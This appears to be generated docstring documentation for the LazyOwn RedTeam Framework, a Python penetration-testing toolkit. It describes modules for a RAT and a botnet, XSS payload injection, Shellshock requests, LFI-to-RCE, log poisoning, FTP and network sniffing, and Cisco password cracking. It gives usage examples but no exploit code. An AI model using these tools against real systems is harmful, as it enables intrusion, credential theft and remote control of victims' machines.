This function takes a keyword, formats it for the search request, and sends a GET request to the PacketStorm Security website. If the request is successful, it returns the HTML response; otherwise, it returns False.
Parameters:
- keyword (str): The keyword to search for exploits.
Returns:
- str or bool: The HTML response containing exploit data or False on failure. Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
xor_encrypt_decrypt
Encrypts or decrypts data using XOR encryption with the provided key.
Parameters: data (bytes or bytearray): The input data to be encrypted or decrypted. key (str): The encryption key as a string.
Returns: bytearray: The result of the XOR operation, which can be either the encrypted or decrypted data.
Example: encrypted_data = xor_encrypt_decrypt(b"Hello, World!", "key") decrypted_data = xor_encrypt_decrypt(encrypted_data, "key") print(decrypted_data.decode("utf-8")) # Outputs: Hello, World!
Additional Notes:
- XOR encryption is symmetric, meaning that the same function is used for both encryption and decryption.
- The key is repeated cyclically to match the length of the data if necessary.
- This method is commonly used for simple encryption tasks, but it is not secure for protecting sensitive information.
run
Executes a shell command using the subprocess module, capturing its output.
Parameters: command (str): The command to execute.
Returns: str: The output of the command if successful, or an error message if an exception occurs.
Exceptions:
- FileNotFoundError: Raised if the command is not found.
- subprocess.CalledProcessError: Raised if the command exits with a non-zero status.
- subprocess.TimeoutExpired: Raised if the command times out.
- Exception: Catches any other unexpected exceptions.
Example: output = run("ls -la") print(output)
Additional Notes: The function attempts to execute the provided command, capturing its output. It also handles common exceptions that may occur during command execution.
is_exist
Check if a file exists.
This function checks whether a given file exists on the filesystem. If the file does not exist, it prints an error message and returns False. Otherwise, it returns True.
Arguments: file (str): The path to the file that needs to be checked.
Returns: bool: Returns True if the file exists, False otherwise.
Example:
is_exist('/path/to/file.txt') True is_exist('/non/existent/file.txt') False
Notes: This function uses os.path.isfile to determine the existence of the file. Ensure that the provided path is correct and accessible.
get_domain
Extracts the domain from a given URL.
Parameters: url (str): The full URL from which to extract the domain.
Returns: str: The extracted domain from the URL, or None if it cannot be extracted.
generate_certificates
Generates a certificate authority (CA), client certificate, and client key.
Returns: str: Paths to the generated CA certificate, client certificate, and client key.
generate_emails
Generate email permutations based on the provided full name and domain.
This function takes a full name and domain as input, splits the full name into components, and creates a list of potential email addresses.
Parameters: full_name (str): The full name to base the email addresses on. domain (str): The domain to use for the generated email addresses.
Internal Variables: names (list): A list of the name components extracted from the full name. first_name (str): The first name component. last_name (str): The last name component. first_initial (str): The first initial of the first name. last_initial (str): The first initial of the last name.
Returns: list: A list of generated email permutations.
Note:
- At least two parts of the name are required to generate valid email addresses.
clean_url
Verifica si el último carácter es una barra y, de ser así, la elimina
random_string
Generates a random alphanumeric string.
generate_http_req
Generates an HTTP request with the Shellshock payload.
format_openssh_key
Formats a raw OpenSSH private key string to the correct OpenSSH format.
This function takes a raw OpenSSH private key string, cleans it by removing any unnecessary characters (such as newlines, spaces, and headers/footers), splits the key content into lines of 64 characters, and then reassembles the key with the standard OpenSSH header and footer. It ensures the key follows the correct OpenSSH format.
Parameters: raw_key (str): The raw OpenSSH private key string to format.
Returns: str: The formatted OpenSSH private key with proper headers, footers, and 64-character lines.
format_rsa_key
Formats a raw RSA private key string to the correct PEM format.
This function takes a raw RSA private key string, cleans it by removing any unnecessary characters (such as newlines, spaces, and headers/footers), splits the key content into lines of 64 characters, and then reassembles the key with the standard PEM header and footer. It ensures the key follows the correct RSA format.
Parameters: raw_key (str): The raw RSA private key string to format.
Returns: str: The formatted RSA private key with proper headers, footers, and 64-character lines.
is_package_installed
Check if a Python package is installed.
:param package_name: Name of the package to check. :returns: True if installed, False otherwise.
extract
Extracts and processes specific hexadecimal sequences from a string based on a flag.
If the extract_flag
is set to True, the function extracts all sequences of the form 'x[a-f0-9][a-f0-9]'
(where 'x' is followed by two hexadecimal digits), removes the 'x' from the extracted sequences,
and returns the processed string. If extract_flag
is False, the function returns the original string.
Parameters: string (str): The input string from which hexadecimal sequences are to be extracted. extract_flag (bool): A flag indicating whether to perform the extraction (True) or not (False).
Returns:
str: The processed string with the extracted hexadecimal sequences if extract_flag
is True,
or the original string if extract_flag
is False.
clean_html
Remove HTML tags from a string.
This function uses a regular expression to strip HTML tags and return plain text.
:param html_string: A string containing HTML content. :returns: A cleaned string with HTML tags removed.
command
Run a command, print output in real-time, and store the output in a variable.
This method executes a given command using subprocess.Popen
, streams both the standard
output and standard error to the console in real-time, and stores the full output (stdout
and stderr) in a variable. If interrupted, the process is terminated gracefully.
:param command: The command to be executed as a string. :type command: str
:returns: The full output of the command (stdout and stderr). :rtype: str
Example:
To execute a command, call run_command("ls -l")
.
generate_random_cve_id
Generates a random CVE (Common Vulnerabilities and Exposures) ID.
This function creates a random CVE ID by selecting a random year between 2020 and 2024, and a random code between 1000 and 9999. The CVE ID is returned in the format 'CVE-{year}-{code}'.
Returns: str: A randomly generated CVE ID in the format 'CVE-{year}-{code}'.
get_credentials
Searches for credential files with the pattern 'credentials*.txt' and allows the user to select one.
The function lists all matching files and prompts the user to select one. It then reads the selected file and returns a list of tuples with the format (username, password) for each line in the file.
Returns: list of tuples: A list containing tuples with (username, password) for each credential found in the file. If no files are found or an invalid selection is made, an empty list is returned.
obfuscate_payload
Obfuscates a payload string by converting its characters into hexadecimal format, with additional comments for every third character.
For every character in the payload, the function converts it to its hexadecimal representation.
Every third character (after the first) is enclosed in a comment /*hex_value*/
, while the rest
are prefixed with \x
.
Parameters: payload (str): The input string that needs to be obfuscated.
Returns: str: The obfuscated string where characters are replaced by their hexadecimal representations, with every third character wrapped in a comment.
read_payloads
Reads a file containing payloads and returns a list of properly formatted strings.
This function opens a specified file, reads each line, and checks if the line starts with a double quote. If it does not, it adds double quotes around the line. Each line is stripped of leading and trailing whitespace before being added to the list.
Parameters: file_path (str): The path to the file containing payloads.
Returns: list: A list of strings, each representing a payload from the file, formatted with leading and trailing double quotes if necessary.
inject_payloads
Sends HTTP requests to a list of URLs with injected payloads for testing XSS vulnerabilities.
This function reads payloads from a specified file and sends GET requests to the provided URLs, injecting obfuscated payloads into the query parameters or form fields to test for cross-site scripting (XSS) vulnerabilities. It handles both URLs with existing query parameters and those without. If forms are found in the response, it submits them with the payloads as well.
Parameters: urls (list): A list of URLs to test for XSS vulnerabilities. payload_url (str): A placeholder string within the payloads that will be replaced with the actual URL for testing. request_timeout (int, optional): The timeout for each request in seconds. Defaults to 15.
Returns: None: This function does not return any value but prints the status of each request and form submission to the console.
Raises: requests.RequestException: Raises an exception if any HTTP request fails, which is handled by printing a warning message.
prompt
Return the prompt in the function do_xss
is_lower
Checks if a character is lowercase.
Parameters: char (str): The character to check.
Returns: bool: True if the character is lowercase, False otherwise.
is_upper
Checks if a character is uppercase.
Parameters: char (str): The character to check.
Returns: bool: True if the character is uppercase, False otherwise.
is_mixed
Determines if a string contains both lowercase and uppercase characters.
Parameters: s (str): The string to check.
Returns: bool: True if the string has mixed casing, False otherwise.
add
Adds a delimiter between string parts if it's not the first part.
Parameters: str_part (str): The string part to add. delimiter (str): The delimiter to insert between parts. i (int): The index of the part.
Returns: str: The string part with delimiter if applicable.
detect_delimiter
Detects the delimiter used in the input string (e.g., "-", "_", ".").
Parameters: foo_bar (str): The input string.
Returns: str: The detected delimiter.
transform
Transforms a list of string parts based on the chosen casing style.
Parameters: parts (list): List of string parts. delimiter (str): Delimiter to use between parts. casing (str): Casing style ('l', 'u', 'c', 'p').
Returns: str: The transformed string.
handle
Splits the input string into parts based on delimiters or mixed casing.
Parameters: input_str (str): The input string to split.
Returns: list: A list of string parts.
get_users_dic
List all .txt files in the 'sessions/' directory and prompt the user to select one by number.
:returns: The path of the selected .txt file.
get_hash
Searches for hash files with the pattern 'hash*.txt' and allows the user to select one.
The function lists all matching files and prompts the user to select one. It then reads the selected file and returns the hash content as a single string, without any newline characters or extra formatting.
Returns: str: The hash content from the selected file as a single string. If no files are found or an invalid selection is made, an empty string is returned.
is_digit
Check if the given character is a digit.
Args: the_digit (str): The character to check.
Returns: bool: True if the character is a digit, False otherwise.
crack_password
Crack a Cisco Type 7 password.
Args: crypttext (str): The encrypted password in Type 7 format.
Returns: str: The cracked plaintext password or an empty string if invalid.
get_terminal_size
No description available.
halp
Display the help panel for the LazyOwn RedTeam Framework.
This function prints usage instructions, options, and descriptions for
running the LazyOwn framework. It provides users with an overview of
command-line options that can be used when executing the ./run
command.
The output includes the current version of the framework and various options available for users, along with a brief description of each option.
Options include:
- --help
: Displays the help panel.
- -v
: Shows the version of the framework.
- -p <payloadN.json>
: Executes the framework with a specified payload
JSON file. This option is particularly useful for Red Teams.
- -c <command>
: Executes a specific command using LazyOwn, for
example, ping
.
- --no-banner
: Runs the framework without displaying the banner.
- -s
: Runs the framework with root privileges.
- --old-banner
: Displays the old banner.
Example: To see the help panel, call the function as follows:
>>> halp()
Note:
- This function exits the program after displaying the help information,
using sys.exit(0)
.
ensure_tmux_session
Ensure that a tmux session is active.
This function checks whether a specified tmux session is currently running. If the session does not exist, it creates a new tmux session with the specified name and executes the command to run the LazyOwn RedTeam Framework script.
The function uses the tmux has-session
command to check for the existence
of the session. If the session is not found (i.e., the return code is not zero),
it will create a new tmux session in detached mode and run the command
./run --no-banner
within that session.
Args: session_name (str): The name of the tmux session to check or create.
Example: To ensure that a tmux session named 'lazyown_sessions' is active, call the function as follows:
>>> ensure_tmux_session('lazyown_sessions')
Note: - Ensure that tmux is installed and properly configured on the system. - The command executed within the tmux session must be valid and accessible in the current environment.
get_xml
Retrieves a list of XML files from the specified directory.
Args: directory (str): The directory to search for XML files.
Returns: list: A list of XML filenames found in the specified directory.
get_domain_from_xml
Extrae el primer dominio o dirección IP de un archivo XML de un escaneo Nmap.
shellcode_to_sylk
No description available.
wrapper
internal wrapper of internal function to implement multiples rhost to operate.
send_request
No description available.
handle_forms
No description available.
COMMANDS.md Documentation by readmeneitor.py
init
Initializer for the LazyOwnShell class.
This method sets up the initial parameters and scripts for an instance of the LazyOwnShell class. It initializes a dictionary of parameters with default values and a list of script names that are part of the LazyOwnShell toolkit.
Attributes: params (dict): A dictionary of parameters with their default values. scripts (list): A list of script names included in the toolkit. output (str): An empty string to store output or results.
default
Handles undefined commands, including aliases.
This method checks if a given command (or its alias) exists within the class by attempting to find a corresponding method. If the command or alias is not found, it prints an error message.
:param line: The command or alias to be handled. :type line: str :return: None
one_cmd
Internal function to execute commands.
This method attempts to execute a given command using onecmd
and captures
the output. It sets the output
attribute based on whether the command was
executed successfully or an exception occurred.
:param command: The command to be executed. :type command: str :return: A message indicating the result of the command execution. :rtype: str
emptyline
Handle the case where the user enters an empty line.
This method is called when the user submits an empty line of input in the command-line interface. By default, it provides feedback indicating that no command was entered.
It is useful for providing user-friendly messages or handling empty input cases in a custom manner.
License: This function is part of a program released under the GNU General Public License v3.0 (GPLv3). You can redistribute it and/or modify it under the terms of the GPLv3, as published by the Free Software Foundation.
Note: This method is called by the cmd library when an empty line is entered. You can override it in a subclass to change its behavior.
Example: >>> shell = LazyOwnShell() >>> shell.emptyline() You didn't enter any command.
EOF
Handle the end-of-file (EOF) condition.
This method is called when the user sends an end-of-file (EOF) signal by pressing Ctrl+D. It is typically used to handle cleanup or exit operations when the user terminates input.
In this implementation, it prints a farewell message and returns True to indicate that the shell should exit.
License: This function is part of a program released under the GNU General Public License v3.0 (GPLv3). You can redistribute it and/or modify it under the terms of the GPLv3, as published by the Free Software Foundation.
Note: This method is a part of the cmd
library's command handling
system. You can override it in a subclass to customize its behavior.
Example: >>> shell = LazyOwnShell() >>> shell.do_EOF(None) LazyOwn say Goodbye! (shell exits)
postloop
Handle operations to perform after exiting the command loop.
This method is called after the command loop terminates, typically used for performing any final cleanup or displaying messages before the program exits.
In this implementation, it prints a message indicating that the custom shell is exiting.
License: This function is part of a program released under the GNU General Public License v3.0 (GPLv3). You can redistribute it and/or modify it under the terms of the GPLv3, as published by the Free Software Foundation.
Note: This method is called automatically by the cmd
library's command
loop after the loop terminates. You can override it in a subclass to
customize its behavior.
Example: >>> shell = LazyOwnShell() >>> shell.cmdloop() # Exits the command loop Exiting custom LazyOwnShell.
set
Set a parameter value.
This function takes a line of input, splits it into a parameter and a value, and sets the specified parameter to the given value if the parameter exists.
:param line: A string containing the parameter and value to be set.
Expected format: '
show
Show the current parameter values.
This function iterates through the current parameters and their values, printing each parameter and its associated value.
:param line: This parameter is not used in the function. :type line: str :return: None
list
Lists all available scripts in the modules directory.
This method prints a list of available scripts in a formatted manner, arranging them into columns. It shows each script with sufficient spacing for readability.
:param line: This parameter is not used in the method. :type line: str :return: None
run
Runs a specific LazyOwn script.
This method executes a script from the LazyOwn toolkit based on the provided
script name. If the script is not recognized, it prints an error message.
To see available scripts, use the list
or help list
commands.
:param line: The command line input containing the script name. :type line: str :return: None
lazysearch
Runs the internal module modules/lazysearch.py
.
This method executes the lazysearch
script from the specified path, using
the binary_name
parameter from the self.params
dictionary. If binary_name
is not set, it prints an error message.
:return: None
lazysearch_gui
Run the internal module located at modules/LazyOwnExplorer.py
.
This method executes the LazyOwnExplorer.py
script, which is used for graphical user interface (GUI) functionality within the LazyOwn framework.
The function performs the following steps:
- Calls
self.run_script
withLazyOwnExplorer.py
to execute the GUI module.
:returns: None
Manual execution:
- Ensure that the
modules/LazyOwnExplorer.py
script is present in themodules
directory. - Run the script with:
python3 modules/LazyOwnExplorer.py
Example:
To run LazyOwnExplorer.py
directly, execute:
python3 modules/LazyOwnExplorer.py
Note: - Ensure that the script has the appropriate permissions and dependencies to run. - Verify that your environment supports GUI operations if using this script in a non-graphical environment.
lazyown
Run the internal module located at modules/lazyown.py
.
This method executes the lazyown.py
script, which is a core component of the LazyOwn framework.
The function performs the following steps:
- Calls
self.run_script
withlazyown.py
to execute the script.
:returns: None
Manual execution:
- Ensure that the
modules/lazyown.py
script is present in themodules
directory. - Run the script with:
python3 modules/lazyown.py
Example:
To run lazyown.py
directly, execute:
python3 modules/lazyown.py
Note: - Ensure that the script has the appropriate permissions and dependencies to run.
update_db
Run the internal module located at modules/update_db.sh
.
This method executes the update_db.sh
script to update the database of binary exploitables from gtofbins
.
The function performs the following steps:
- Executes the
update_db.sh
script located in themodules
directory usingos.system
.
:returns: None
Manual execution:
- Ensure that the
modules/update_db.sh
script is present in themodules
directory. - Run the script with:
./modules/update_db.sh
Example:
To manually update the database, execute:
./modules/update_db.sh
Note: - Ensure that the script has execute permissions. - The script should be run with the necessary privileges if required.
lazynmap
Runs the internal module modules/lazynmap.sh
for multiple Nmap scans.
This method executes the lazynmap
script, using the current working directory
and the rhost
parameter from the self.params
dictionary as the target IP.
If rhost
is not set, it prints an error message.
:return: None
lazywerkzeugdebug
Run the internal module located at modules/lazywerkzeug.py
in debug mode.
This method executes the lazywerkzeug.py
script with the specified parameters for remote and local hosts and ports. It is used to test Werkzeug in debug mode.
The function performs the following steps:
- Retrieves the
rhost
,lhost
,rport
, andlport
values fromself.params
. - Checks if all required parameters are set. If not, prints an error message and returns.
- Calls
self.run_script
withlazywerkzeug.py
and the specified parameters.
:param rhost: The remote host address. :type rhost: str
:param lhost: The local host address. :type lhost: str
:param rport: The remote port number. :type rport: int
:param lport: The local port number. :type lport: int
:returns: None
Manual execution:
- Ensure that
rhost
,lhost
,rport
, andlport
are set inself.params
. - The script
modules/lazywerkzeug.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazywerkzeug.py <rhost> <rport> <lhost> <lport>
Example:
To run lazywerkzeug.py
with rhost
set to "127.0.0.1"
, rport
to 5000
, lhost
to "localhost"
, and lport
to 8000
, set:
self.params["rhost"] = "127.0.0.1"
self.params["rport"] = 5000
self.params["lhost"] = "localhost"
self.params["lport"] = 8000
Then call:
run_lazywerkzeugdebug()
Note:
- Ensure that modules/lazywerkzeug.py
has the appropriate permissions and dependencies to run.
- Verify that the specified hosts and ports are correct and available.
lazygath
Run the internal module located at modules/lazygat.sh
. to gathering the sistem :)
This method executes the lazygat.sh
script located in the modules
directory with sudo
privileges.
The function performs the following steps:
- Retrieves the current working directory.
- Executes the
lazygat.sh
script usingsudo
to ensure it runs with elevated permissions.
:returns: None
Manual execution:
- Ensure that the
modules/lazygat.sh
script is present in themodules
directory. - Run the script with:
sudo ./modules/lazygat.sh
Example:
To manually run the script with elevated privileges, execute:
sudo ./modules/lazygat.sh
Note:
- Ensure that the script has execute permissions.
- The script should be run with sudo
if it requires elevated privileges.
lazynmapdiscovery
Runs the internal module modules/lazynmap.sh
with discovery mode.
This method executes the lazynmap
script in discovery mode. It uses the current
working directory for locating the script.
:return: None
lazysniff
Run the sniffer internal module located at modules/lazysniff.py
with the specified parameters.
This method executes the script with the following arguments:
-
device
: The network interface to be used for sniffing, specified inself.params
.
The function performs the following steps:
- Retrieves the
device
value fromself.params
. - Sets up the environment variables
LANG
andTERM
to ensure proper script execution. - Uses
subprocess.run
to execute thelazysniff.py
script with the-i
option to specify the network interface.
:param device: The network interface to be used for sniffing. :type device: str
:returns: None
Manual execution:
- Ensure that
device
is set inself.params
. - The script
modules/lazysniff.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazysniff.py -i <device>
Example:
To run lazysniff
with device
set to "eth0"
, set:
self.params["device"] = "eth0"
Then call:
run_lazysniff()
Note:
- Ensure that modules/lazysniff.py
has the appropriate permissions and dependencies to run.
- Ensure that the network interface specified is valid and properly configured.
lazyftpsniff
Run the sniffer ftp internal module located at modules/lazyftpsniff.py
with the specified parameters.
This function executes the script with the following arguments:
-
device
: The network interface to be used for sniffing, specified inself.params
.
The function performs the following steps:
- Retrieves the
device
value fromself.params
. - Sets up the environment variables
LANG
andTERM
to ensure proper script execution. - Uses
subprocess.run
to execute thelazyftpsniff.py
script with the-i
option to specify the network interface.
:param device: The network interface to be used for sniffing. :type device: str
:returns: None
Manual execution:
- Ensure that
device
is set inself.params
. - The script
modules/lazyftpsniff.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazyftpsniff.py -i <device>
Example:
To run lazyftpsniff
with device
set to "eth0"
, set:
self.params["device"] = "eth0"
Then call:
run_lazyftpsniff()
Note:
- Ensure that modules/lazyftpsniff.py
has the appropriate permissions and dependencies to run.
- Ensure that the network interface specified is valid and properly configured.
lazynetbios
Run the internal module to search netbios vuln victims, located at modules/lazynetbios.py
with the specified parameters.
This function executes the script with the following arguments:
-
startip
: The starting IP address for the NetBIOS scan, specified inself.params
. -
endip
: The ending IP address for the NetBIOS scan, specified inself.params
. -
spoof_ip
: The IP address to be used for spoofing, specified inself.params
.
The function performs the following steps:
- Retrieves the
startip
,endip
, andspoof_ip
values fromself.params
. - Uses
subprocess.run
to execute thelazynetbios.py
script with the specified parameters.
:param startip: The starting IP address for the NetBIOS scan. :type startip: str
:param endip: The ending IP address for the NetBIOS scan. :type endip: str
:param spoof_ip: The IP address to be used for spoofing. :type spoof_ip: str
:returns: None
Manual execution:
- Ensure that
startip
,endip
, andspoof_ip
are set inself.params
. - The script
modules/lazynetbios.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazynetbios.py <startip> <endip> <spoof_ip>
Example:
To run lazynetbios
with startip
set to "192.168.1.1"
, endip
set to "192.168.1.10"
, and spoof_ip
set to "192.168.1.100"
, set:
self.params["startip"] = "192.168.1.1"
self.params["endip"] = "192.168.1.10"
self.params["spoof_ip"] = "192.168.1.100"
Then call:
run_lazynetbios()
Note:
- Ensure that modules/lazynetbios.py
has the appropriate permissions and dependencies to run.
- Ensure that the IP addresses are correctly set and valid for the NetBIOS scan.
lazyhoneypot
Run the internal module located at modules/lazyhoneypot.py
with the specified parameters.
This function executes the script with the following arguments:
-
email_from
: The email address from which messages will be sent, specified inself.params
. -
email_to
: The recipient email address, specified inself.params
. -
email_username
: The username for email authentication, specified inself.params
. -
email_password
: The password for email authentication, specified inself.params
.
The function performs the following steps:
- Retrieves the
email_from
,email_to
,email_username
, andemail_password
values fromself.params
. - Calls the
run_script
method to execute thelazyhoneypot.py
script with the provided email parameters.
:param email_from: The email address from which messages will be sent. :type email_from: str
:param email_to: The recipient email address. :type email_to: str
:param email_username: The username for email authentication. :type email_username: str
:param email_password: The password for email authentication. :type email_password: str
:returns: None
Manual execution:
- Ensure that
email_from
,email_to
,email_username
, andemail_password
are set inself.params
. - The script
modules/lazyhoneypot.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazyhoneypot.py --email_from <email_from> --email_to <email_to> --email_username <email_username> --email_password <email_password>
Example:
To run lazyhoneypot
with email_from
set to "[email protected]"
, email_to
set to "[email protected]"
, email_username
set to "user"
, and email_password
set to "pass"
, set:
self.params["email_from"] = "[email protected]"
self.params["email_to"] = "[email protected]"
self.params["email_username"] = "user"
self.params["email_password"] = "pass"
Then call:
run_lazyhoneypot()
Note:
- Ensure that modules/lazyhoneypot.py
has the appropriate permissions and dependencies to run.
- Ensure that the email credentials are correctly set for successful authentication and operation.
lazygptcli
Run the internal module to create Oneliners with Groq AI located at modules/lazygptcli.py
with the specified parameters.
This function executes the script with the following arguments:
-
prompt
: The prompt to be used by the script, specified inself.params
. -
api_key
: The API key to be set in the environment variableGROQ_API_KEY
, specified inself.params
.
The function performs the following steps:
- Retrieves the
prompt
andapi_key
values fromself.params
. - Checks if both
prompt
andapi_key
are set. If either is missing, it prints an error message and returns. - Sets the environment variable
GROQ_API_KEY
with the providedapi_key
. - Calls the
run_script
method to execute thelazygptcli.py
script with the--prompt
argument.
:param prompt: The prompt to be used by the script. :type prompt: str
:param api_key: The API key for accessing the service. :type api_key: str
:returns: None
Manual execution:
- Ensure that
prompt
andapi_key
are set inself.params
. - The script
modules/lazygptcli.py
should be present in themodules
directory. - Set the environment variable
GROQ_API_KEY
with the API key value. - Run the script with:
python3 modules/lazygptcli.py --prompt <prompt>
Example:
To run lazygptcli
with prompt
set to "Your prompt"
and api_key
set to "your_api_key"
, set:
self.params["prompt"] = "Your prompt"
self.params["api_key"] = "your_api_key"
Then call:
run_lazygptcli()
Note:
- Ensure that modules/lazygptcli.py
has the appropriate permissions and dependencies to run.
- The environment variable GROQ_API_KEY
must be correctly set for the script to function.
lazysearch_bot
Run the internal module GROQ AI located at modules/lazysearch_bot.py
with the specified parameters.
This function executes the script with the following arguments:
-
prompt
: The prompt to be used by the script, specified inself.params
. -
api_key
: The API key to be set in the environment variableGROQ_API_KEY
, specified inself.params
.
The function performs the following steps:
- Retrieves the
prompt
andapi_key
values fromself.params
. - Checks if both
prompt
andapi_key
are set. If either is missing, it prints an error message and returns. - Sets the environment variable
GROQ_API_KEY
with the providedapi_key
. - Calls the
run_script
method to execute thelazysearch_bot.py
script with the--prompt
argument.
:param prompt: The prompt to be used by the script. :type prompt: str
:param api_key: The API key for accessing the service. :type api_key: str
:returns: None
Manual execution:
- Ensure that
prompt
andapi_key
are set inself.params
. - The script
modules/lazysearch_bot.py
should be present in themodules
directory. - Set the environment variable
GROQ_API_KEY
with the API key value. - Run the script with:
python3 modules/lazysearch_bot.py --prompt <prompt>
Example:
To run lazysearch_bot
with prompt
set to "Search query"
and api_key
set to "your_api_key"
, set:
self.params["prompt"] = "Search query"
self.params["api_key"] = "your_api_key"
Then call:
run_lazysearch_bot()
Note:
- Ensure that modules/lazysearch_bot.py
has the appropriate permissions and dependencies to run.
- The environment variable GROQ_API_KEY
must be correctly set for the script to function.
lazymetaextract0r
Run the Metadata extractor internal module located at modules/lazyown_metaextract0r.py
with the specified parameters.
This function executes the script with the following arguments:
-
path
: The file path to be processed by the script, specified inself.params
.
The function performs the following steps:
- Retrieves the value for
path
fromself.params
. - Checks if the
path
parameter is set. If not, it prints an error message and returns. - Calls the
run_script
method to execute thelazyown_metaextract0r.py
script with the appropriate argument.
:param path: The file path to be processed by the script. :type path: str
:returns: None
Manual execution:
- Ensure that
path
is set inself.params
. - The script
modules/lazyown_metaextract0r.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazyown_metaextract0r.py --path <path>
Example:
To run lazyown_metaextract0r
with path
set to /home/user/file.txt
, set:
self.params["path"] = "/home/user/file.txt"
Then call:
run_lazymetaextract0r()
Note:
- Ensure that modules/lazyown_metaextract0r.py
has the appropriate permissions and dependencies to run.
lazyownratcli
Run the internal module located at modules/lazyownclient.py
with the specified parameters.
This function executes the script with the following arguments:
-
lhost
: The IP address of the local host, specified inself.params
. -
lport
: The port number of the local host, specified inself.params
. -
rat_key
: The RAT key, specified inself.params
.
The function performs the following steps:
- Retrieves the values for
lhost
,lport
, andrat_key
fromself.params
. - Checks if all required parameters (
lhost
,lport
, andrat_key
) are set. If any are missing, it prints an error message and returns. - Calls the
run_script
method to execute thelazyownclient.py
script with the appropriate arguments.
:param lhost: The IP address of the local host. :type lhost: str :param lport: The port number of the local host. :type lport: int :param rat_key: The RAT key. :type rat_key: str
:returns: None
Manual execution:
- Ensure that
lhost
,lport
, andrat_key
are set inself.params
. - The script
modules/lazyownclient.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazyownclient.py --host <lhost> --port <lport> --key <rat_key>
Example:
To run lazyownclient
with lhost
set to 192.168.1.10
, lport
set to 8080
, and rat_key
set to my_secret_key
, set:
self.params["lhost"] = "192.168.1.10"
self.params["lport"] = 8080
self.params["rat_key"] = "my_secret_key"
Then call:
run_lazyownratcli()
Note:
- Ensure that modules/lazyownclient.py
has the appropriate permissions and dependencies to run.
lazyownrat
Run the internal module located at modules/lazyownserver.py
with the specified parameters.
This function executes the script with the following arguments:
-
rhost
: The IP address of the remote host, specified inself.params
. -
rport
: The port number of the remote host, specified inself.params
. -
rat_key
: The RAT key, specified inself.params
.
The function performs the following steps:
- Retrieves the values for
rhost
,rport
, andrat_key
fromself.params
. - Checks if all required parameters (
rhost
,rport
, andrat_key
) are set. If any are missing, it prints an error message and returns. - Calls the
run_script
method to execute thelazyownserver.py
script with the appropriate arguments.
:param rhost: The IP address of the remote host. :type rhost: str :param rport: The port number of the remote host. :type rport: int :param rat_key: The RAT key. :type rat_key: str
:returns: None
Manual execution:
- Ensure that
rhost
,rport
, andrat_key
are set inself.params
. - The script
modules/lazyownserver.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazyownserver.py --host <rhost> --port <rport> --key <rat_key>
Example:
To run lazyownserver
with rhost
set to 192.168.1.10
, rport
set to 8080
, and rat_key
set to my_secret_key
, set:
self.params["rhost"] = "192.168.1.10"
self.params["rport"] = 8080
self.params["rat_key"] = "my_secret_key"
Then call:
run_lazyownrat()
Note:
- Ensure that modules/lazyownserver.py
has the appropriate permissions and dependencies to run.
lazybotnet
Run the internal module located at modules/lazybotnet.py
with the specified parameters.
This function executes the script with the following arguments:
-
rhost
: The IP address of the remote host, hardcoded to "0.0.0.0". -
rport
: The port number of the remote host, specified inself.params
. -
rat_key
: The RAT key, specified inself.params
.
The function performs the following steps:
- Retrieves the values for
rport
andrat_key
fromself.params
. Therhost
is hardcoded to "0.0.0.0". - Checks if all required parameters (
rport
andrat_key
) are set. If any are missing, it prints an error message and returns. - Calls the
run_script
method to execute thelazybotnet.py
script with the appropriate arguments.
:param rport: The port number of the remote host. :type rport: int :param rat_key: The RAT key. :type rat_key: str
:returns: None
Manual execution:
- Ensure that
rport
andrat_key
are set inself.params
. - The script
modules/lazybotnet.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazybotnet.py --host <rhost> --port <rport> --key <rat_key>
Example:
To run lazybotnet
with rport
set to 1234
and rat_key
set to my_key
, set:
self.params["rport"] = 1234
self.params["rat_key"] = "my_key"
Then call:
run_lazybotnet()
Note:
- Ensure that modules/lazybotnet.py
has the appropriate permissions and dependencies to run.
lazylfi2rce
Run the internal module located at modules/lazylfi2rce.py
with the specified parameters.
This function executes the script with the following arguments:
-
rhost
: The IP address of the remote host, specified inself.params
. -
rport
: The port number of the remote host, specified inself.params
. -
lhost
: The IP address of the local host, specified inself.params
. -
lport
: The port number of the local host, specified inself.params
. -
field
: The field name for the LFI (Local File Inclusion) attack, specified inself.params
. -
wordlist
: The path to the wordlist file used for the attack, specified inself.params
.
The function performs the following steps:
- Retrieves the values for
rhost
,rport
,lhost
,lport
,field
, andwordlist
fromself.params
. - Checks if all required parameters are set. If any are missing, it prints an error message and returns.
- Calls the
run_script
method to execute thelazylfi2rce.py
script with the appropriate arguments.
:param rhost: The IP address of the remote host. :type rhost: str :param rport: The port number of the remote host. :type rport: int :param lhost: The IP address of the local host. :type lhost: str :param lport: The port number of the local host. :type lport: int :param field: The field name for the LFI attack. :type field: str :param wordlist: The path to the wordlist file. :type wordlist: str
:returns: None
Manual execution:
- Ensure that
rhost
,rport
,lhost
,lport
,field
, andwordlist
are set inself.params
. - The script
modules/lazylfi2rce.py
should be present in themodules
directory. - Run the script with:
python3 modules/lazylfi2rce.py --rhost <rhost> --rport <rport> --lhost <lhost> --lport <lport> --field <field> --wordlist <wordlist>
Example:
To run the lazylfi2rce with rhost
set to 192.168.1.1
, rport
set to 80
, lhost
set to 192.168.1.2
, lport
set to 8080
, field
set to file
, and wordlist
set to path/to/wordlist.txt
, set:
self.params["rhost"] = "192.168.1.1"
self.params["rport"] = 80
self.params["lhost"] = "192.168.1.2"
self.params["lport"] = 8080
self.params["field"] = "file"
self.params["wordlist"] = "path/to/wordlist.txt"
Then call:
run_lazylfi2rce()
Note:
- Ensure that modules/lazylfi2rce.py
has the appropriate permissions and dependencies to run.
lazylogpoisoning
Run the internal module located at modules/lazylogpoisoning.py
with the specified parameters.
This function executes the script with the following arguments:
-
rhost
: The IP address of the remote host, specified inself.params
. -
lhost
: The IP address of the local host, specified inself.params
.
The function performs the following steps:
- Retrieves the values for
rhost
andlhost
fromself.params
. - Checks if the required parameters
rhost
andlhost
are set. If not, it prints an error message and returns. - Calls the
run_script
method to execute thelazylogpoisoning.py
script with the appropriate arguments.
:param rhost: The IP address of the remote host. Must be set in self.params
.
:type rhost: str
